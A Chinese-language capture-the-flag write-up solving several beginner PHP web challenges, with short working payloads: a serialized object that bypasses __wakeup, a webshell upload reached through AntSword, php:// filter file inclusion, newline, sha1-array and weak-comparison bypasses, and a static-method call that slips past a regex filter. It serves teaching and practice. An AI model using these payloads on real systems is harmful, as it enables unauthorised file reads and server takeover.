目录
[SWPUCTF 2022 新生赛]ez_ez_unserialize
[SWPUCTF 2022 新生赛]ez_ez_unserialize
1.进行代码审计,很明显是php反序列化
<?php
class X //这里定义了一个名为X的类
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x; //这是类的构造函数,当创建类的新实例时会被调用。它接受一个参数 $x,并将该参数的值赋给成员变量 $this->x。
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
} //__wakeup 是一个魔术方法,当对象从字符串形式的序列化数据中被反序列化回来时会被自动调用。这个方法检查成员变量 $x 是否与当前文件的路径(__FILE__)不同,如果不同,则将其重置为当前文件的路径。
}
function __destruct()
{
highlight_file($this->x); //__destruct 是析构函数,当对象不再被使用时(例如,脚本执行结束或者对象被销毁时)会被调用。这里使用 highlight_file 函数来输出 $this->x 所指向的文件的源代码,并高亮显示。
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
2.代码首先会尝试调用$_REQUEST[‘x’],若该参数已经被设置,则对其进行反序列化,但在反序列化前会触发__wakeup(),将x重新赋值,最后反序列化后触发__destruct(),将最终的文件输出,根据代码,构造pop链,
<?php
class X
{
public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>
3.由于要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
4.传参之后得到flag
[SWPUCTF 2022 新生赛]where_am_i
1.这个题主要考查观察能力,包括社工,十一位数字是电话号码,所以在网上找到这家酒店的电话号码,输入之后得到flag
[HNCTF 2022 Week1]easy_upload
1.上传一个有一句话木马的php文件,发现上传成功
2.输入路径,使用蚁剑连接
http://node5.anna.nssctf.cn:25648/upload/shell.php
3. 在根目录下,找到flag
[MoeCTF 2022]baby_file
1.观察源代码,发现有文件包含,想到使用php伪协议,先查看index.php文件中的内容
2. 解码之后得到源代码
3.再读取flag.php文件
4.编码之后得到flag
[鹤城杯 2021]Middle magic
知识点:
json_decode函数:
json_decode()函数用于将JSON字符串解码为PHP对象或数组。它可以将符合JSON格式的字符串转换为PHP数据结构,并对其进行访问和操作。这对于接收来自外部服务的JSON数据或处理从客户端提交过来的JSON数据非常有用。
资料:PHP函数介绍:json_decode()函数-php教程-PHP中文网
1.进行代码审计
一共三层if,我们逐层看看:
- 第一个if要求
aaa=pass_the_level_1#
,但会将传入的level
替换为filtered
; - 第二个if要求传入两个不相等变量
admin
和root_pwd
,但要求两者sha1加密后相等; - 第三个if要求传入
level_3
,对其进行json_decode后,需要$level_3->result == $result
2.因为preg_replace
函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配
%0apass_the_level_1%23 %0a换行符,%23井号。
3.第二个if,我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null:
4.第三个if,我们传入一个JSON格式的字符串
level_3={"result":0}
php弱比较在面对纯字符与0的比较时,会返回true,例如
a == 0
返回为true
此处推测$result是纯字符
[SWPUCTF 2022 新生赛]numgame
1.查看源代码,发现js文件
2.进入js文件,发现有base64编码
3.解码之后得到文件
4.访问这个文件,进行代码审计
1. 第一行代码`error_reporting(0);`用于禁止错误报告。
2. 然后,通过`include("flag.php")`包含了一个名为`flag.php`的文件。
3. 接下来,定义了一个名为`nss`的类,其中有一个名为`ctf()`的静态方法。包含了hint2.php
4. 在接下来的代码中,通过`isset($_GET['p'])`检查`$_GET['p']`是否存在。如果存在,就进入下一层判断。
5. 在第6行代码中,使用`preg_match()`函数对`$_GET['p']`进行正则匹配,判断其是否含有字母`n`或`c`。如果匹配成功,就输出`"no"`并结束脚本的执行。
6. 在第7行代码中,使用了`call_user_func()`函数,根据`$_GET['p']`的值调用对应的函数。`call_user_func()`函数用于调用一个回调函数。这里回调函数的名称由`$_GET['p']`指定。
5.先访问hint2.php这个文件,发现提示类是nss2
6.绕过正则进行传参,得到flag,这里使用的是静态函数调用
http://node5.anna.nssctf.cn:29459/NsScTf.php/?p=Nss2::Ctf
::双冒号运算符
在PHP中,::是一个双冒号运算符,也被称为范围解析操作符或静态访问操作符。它用于访问类中的静态属性、静态方法和常量,或调用父类的静态方法。在类名后面使用`::`,可以直接访问类的静态成员或调用静态方法,而无需创建类的实例。这使得我们无需实例化一个类就可以访问和操作类级别的成员。
今日总结:
1.绕过wakeup函数可以将序列化的中的成员数大于实际成员数
2.了解了json_decode函数
3.preg_replace
函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配
4.php弱比较时,面对纯字符与0的比较时,会返回true
5.了解了call_user_func()函数,知道了::双冒号运算符